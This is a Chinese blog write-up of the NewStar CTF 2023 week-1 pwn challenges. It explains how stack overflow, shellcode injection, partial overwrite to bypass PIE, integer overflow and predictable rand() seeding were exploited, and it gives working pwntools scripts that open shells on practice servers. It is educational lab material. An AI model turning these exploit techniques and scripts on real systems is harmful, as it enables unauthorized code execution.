2023NewStarCTF-PWN-week1 WP(纯萌新视角解题思考过程,含题目可放心食用

2 篇文章 0 订阅
1 篇文章 0 订阅

0x00 前置技能

C语言,Python,pwn相关的linux环境(wp中的环境除特别说明外皆为Ubuntu22.04.3和Win11)(环境配置:从零开始搭建Ubuntu CTF-pwn环境_pwndbg安装_C0Lin的博客-CSDN博客) ,pwn相关的入门知识(pwn入门:https://blog.csdn.net/weixin_45004513/article/details/117332121还有很多参考资料不一一放出),IDA,ELF文件结构,...

如果发现错误或有更好的解决方案,望各位师傅不吝指出!

0x01 ret2text

Hint:简单的栈溢出

先checksec一下看看题目附件是多少位的二进制文件,顺便看看开启了哪些保护

3b6ccdfd81df4baf950048c76761fb30.png64位小端序,没有开canary可以放心溢出。拖进IDA64分析,按F5生成C伪代码

d87ea249e0b741ff94f367f99101774f.pnge6a0ba65e8e4489c92229e1fce631050.png函数列表中有后门函数可以getshell,查看后门函数地址:

43731968be144c9a9e66df9c64595dce.png

只要劫持程序跳转到0x4011FB处即可。发现main函数中有read函数,且读取0x100字节给buf,远超程序给buf分配的0x20字节内存。构造payload为0x20的垃圾数据+覆盖rbp的8字节+后门函数地址覆盖rip。

Exp:

from pwn import *
context(os='linux', arch='amd64')
# r = process("../newstar_week1/ret2text")
r = remote("node4.buuoj.cn", 26077)
payload = b'a'*(0x20)+p64(1)+p64(0x4011FB)
r.recv()
r.sendline(payload)
r.interactive()

运行脚本:

47b17abdabe64996b85750c1bf2ab80c.png最近发现装了pwntools库后其实直接运行也是可以的,只是没那么好看

90121ce0e1c84b16b8de8d1d011e4ef4.png

0x02 ezshellcode

先checksec

ff95a3c025344ad6a2f500fb258c7287.png发现开了NX保护,栈不可执行。总之先拖进ida64看看93301b0598ca4f52968ed8fa6815ffe4.png没有后门函数,连system函数都没有,shift+F12发现也找不到/bin/sh。只能自己构造一段shellcode(此处要注意一定要用context定义arch为amd64,因为pwntools默认程序为32位,而32位的shellcode并不适用于64位程序中),但是不能放到栈中,因为NX不可执行。 发现伪代码中出现一个mmap,没见过,查一下:https://blog.csdn.net/agonie201218/article/details/123791047?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522169632143716800185829933%2522%252C%2522scm%2522%253A%252220140713.130102334..%2522%257D&request_id=169632143716800185829933&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~all~top_positive~default-1-123791047-null-null.142^v94^insert_down28v1&utm_term=mmap&spm=1018.2226.3001.4187

mmap的第三个参数为7意味着该内存映射可读可写可执行。又发现main函数执行完read函数后直接就往mmap里跳,好极了,只要我直接往buf里写进shellcode就结束了。Exp:

from pwn import *
context(os='linux', arch='amd64')
# r = process("../newstar_week1/ezshellcode")
r = remote("node4.buuoj.cn", 25441)
payload = asm(shellcraft.sh())
r.sendline(payload)
r.interactive()

08370e86c1aa445dac1c41ffbc0d4f67.png

0x03 newstar shop

783807cc9f9c44978430033657263f7b.png

保护全开,不带这么刁难新手的QAQ。但是从另一方面来讲,既然无法从正常的构造exp下手,也许运行程序本身就能pwn掉它。总之先看看程序逻辑:f105f9cdc1824b5ea74c059515ebceec.png83ee23c4c6a3497d830e815b6cdca9a0.png58e1a0031b0646caa24de05108ac6a5b.png23cebc6cdb6445c98955f1ef25426b97.pngc2401f355c8540b3a7e5bd238354d4a1.pngf428906f68ba4e299ada8759f15febd3.png

函数很多,乱糟糟。想要getshell需要9999money,试了试直接买发现不行,双击变量看到money初始化只有0x643ea8b4aa0b404dcdb868d5ba1bccac8c.png又因为hour变量限制不能无限赚钱。通过“gift”得知考察的是整数溢出。在买东西的时候money是无符号整型,那么只要想办法让money扣到0以下就能出现回绕。买东西前都会检查money够不够,没法直接扣到0以下,但是发现dont_try函数可以无条件扣钱。那么思路就是运行程序后一直买gift到买不起后,触发dont_try,就可以买shell了。

程序运行输入顺序:121211313

0x04 p1eee

55dc35fb38d34ffeb06234abd2a52ad5.png

与第一第二题相比,保护多开了个PIE,即地址随机化,题目也明显提示了PIE,于是去查PIE绕过,得到以下认识:

  1. 地址随机化,但是程序中各个节的相对位置不变,也就是说如果你能得到运行中程序的任何一个可辨识地方的地址,就可以通过该地址与目标的偏移来获取目标的真实地址。但是前提是得想办法泄露地址。
  2. 如果不能泄露地址,那么可以考虑partial write的方法,即部分写入。因为程序实行分页管理机制,所以在一页内地址之间的偏移量不会变,且一页的长度为0x1000,这也就意味着任何一条指令地址的低三位数值(十六进制下)都不会变,也就是地址的低1.5字节不变。但是输入或者覆盖只能覆盖整数字节,所以如果要三位都覆盖,那么第四位数值就要通过爆破覆盖,每次爆破十五分之一的概率成功。

看看ida分析(注意这里不是main函数,而是关键函数,main函数负责调用此函数)

b0e132093ee8409bb4e988941ce54d5e.png

63044f73408e4dee9b09e9d52f2182a9.png再一次提示PIE绕过,右后门。一看有溢出9字节,且金丝雀没开,可以覆盖跳转。刚好覆盖完rbp的8字节后还剩一字节给到rip。因为程序是以小端序储存数据,地址从低往高存所以rip的第一个字节刚好可以覆盖为地址中不变的低三位中的低两位。那么第三位怎么解决呢?注意到关键函数执行完后还要返回到main函数,其与后门地址的第三位都一样,不用覆盖就能通。思路确定,写exp:

from pwn import *
context(os='linux', arch='amd64', log_level='debug')
# r = process("("../newstar_week1/p1eee")
r = remote("node4.buuoj.cn", 27545)
payload = b'a'*(0x20+8)+b'\x6c'
# print(p64(0x00001264))
r.recv()
r.sendline(payload)
r.interactive()

这里选取的地址是0x126C而非system函数最开始的0x1264是为了解决64位程序栈平衡的问题。在ret2text中解决栈平衡的方案有很多种(比如加ret地址,加retn地址,加lea地址等),但此处因为溢出字节有限只能直接跳转到lea解决。关于对栈平衡问题的出现原理及解决方案可以参考:x86 - libc's system() when the stack pointer is not 16-padded causes segmentation fault - Stack Overflow

4f0afbaa7bd542ae813d219f90a17ce5.png

0x05 random

(linux环境为Ubuntu20.04)

 
根据经验,保护全开的话,目前先考虑顺着程序本来的的运行逻辑入手,而非通过跳转来劫持程序运行流。有后门,但是要猜中随机数,随机数种子是time(0)。查找思路时得知,如果种子确定,则rand函数就会生成一个序列确定的为随机数。则可以调用本地的库来规定种子生成随机数并发送。Exp:
from pwn import *
from ctypes import *

context(os='linux', arch='amd64')
r = remote('node4.buuoj.cn', 26193)
# r = process('../newstar_week1/random')
libc = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')
libc.srand(libc.time(0))
k = libc.rand()
r.recv()
r.sendline(str(k))
r.interactive()
考虑到网络时延,可能会出现错误的情况,多试几次就好了。但是调试过程中还有一种报错:后来看了官方wp,有这么几句话所以出错了的话试多几次就行

 

  • 1
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值